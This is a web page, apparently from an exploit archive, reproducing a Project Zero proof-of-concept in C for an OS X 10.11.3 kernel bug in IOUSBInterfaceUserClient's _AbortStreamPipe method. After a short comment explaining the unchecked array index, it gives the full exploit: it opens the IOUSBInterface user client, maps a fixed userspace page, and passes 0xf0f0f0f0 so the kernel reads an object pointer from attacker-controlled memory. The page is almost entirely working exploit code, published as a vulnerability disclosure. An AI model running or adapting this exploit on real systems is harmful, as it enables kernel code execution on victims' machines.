扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 |
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=728 External Method 36 of IOUSBInterfaceUserClient is _AbortStreamPipe. It takes two scalar inputs and uses the second one as an array index to read a pointer to a C++ object without checking the bounds then calls a virtual method on it. Furthermore there's no check that the array pointer is non-null; if it is then we can get a controlled offset-from-zero read; since our controlled dword will be multiplied by 8 to index the array this means we can easily get the kernel to dereference a controllable userspace address. In this case a value of 0xf0f0f0f0 leads to the kernel reading an IOKit object pointer from 0x787878780. This poc maps that page to demonstrate control of a kernel object pointer. tested on MacBookAir5,2w/10.11.3 (15D21) */ // ianbeer // build: clang -o usb_oob usb_oob.c -framework IOKit // tested on MacBookAir5,2w/10.11.3 (15D21) /* OS X Kernel code execution due to lack of bounds checking in AppleUSBPipe::Abort External Method 36 of IOUSBInterfaceUserClient is _AbortStreamPipe. It takes two scalar inputs and uses the second one as an array index to read a pointer to a C++ object without checking the bounds then calls a virtual method on it. Furthermore there's no check that the array pointer is non-null; if it is then we can get a controlled offset-from-zero read; since our controlled dword will be multiplied by 8 to index the array this means we can easily get the kernel to dereference a controllable userspace address. In this case a value of 0xf0f0f0f0 leads to the kernel reading an IOKit object pointer from 0x787878780. This poc maps that page to demonstrate control of a kernel object pointer. */ #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <IOKit/IOKitLib.h> void map_payload(uint64_t target_rip) { uint64_t*** obj_ptr_ptr = (void*)0x0000000787878780; void* request = (void*)0x0000000787878000; void* page = mmap(request, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); if (request != page) { printf("MAP_FIXED didn't give us the right page\n"); exit(EXIT_FAILURE); } memset((void*)page, 'A', 0x1000); } uint64_t make_call(mach_port_t conn) { kern_return_t err; uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputScalarCnt = 2; inputScalar[0] = 0; inputScalar[1] = 0xf0f0f0f0; err = IOConnectCallMethod( conn, 36, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); } else{ printf("worked?\n"); } return 0; } mach_port_t get_user_client(char* name, int type) { kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching(name); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), type, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); return conn; } int main(int argc, char** argv){ mach_port_t port = get_user_client("IOUSBInterface", 0x0); map_payload(0xffff414141414141); make_call(port); return 0; } |
体验盒子
